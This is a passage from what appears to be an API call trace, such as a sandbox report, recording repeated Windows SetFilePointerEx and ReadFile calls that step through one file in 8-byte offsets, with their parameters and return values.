lpNewFilePointer=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6e0, lpOverlapped=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6d8, lpOverlapped=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6d0, lpOverlapped=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6c8, lpOverlapped=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6c0, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6b8, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6b0, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6a8, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6a0, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x698, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x690, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x688, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x680, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x678, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.944] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x670, lpOverlapped=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x668, lpOverlapped=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x660, lpOverlapped=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x658, lpOverlapped=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.945] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x650, lpOverlapped=0x0) returned 1 [0068.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x648, lpOverlapped=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x640, lpOverlapped=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x638, lpOverlapped=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.946] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x630, lpOverlapped=0x0) returned 1 [0068.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x628, lpOverlapped=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x620, lpOverlapped=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x618, lpOverlapped=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x610, lpOverlapped=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x608, lpOverlapped=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x600, lpOverlapped=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f8, lpOverlapped=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f0, lpOverlapped=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e8, lpOverlapped=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e0, lpOverlapped=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d8, lpOverlapped=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d0, lpOverlapped=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c8, lpOverlapped=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.949] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c0, lpOverlapped=0x0) returned 1 [0068.949] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b8, lpOverlapped=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b0, lpOverlapped=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a8, lpOverlapped=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a0, lpOverlapped=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.950] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x598, lpOverlapped=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x590, lpOverlapped=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x588, lpOverlapped=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x580, lpOverlapped=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, 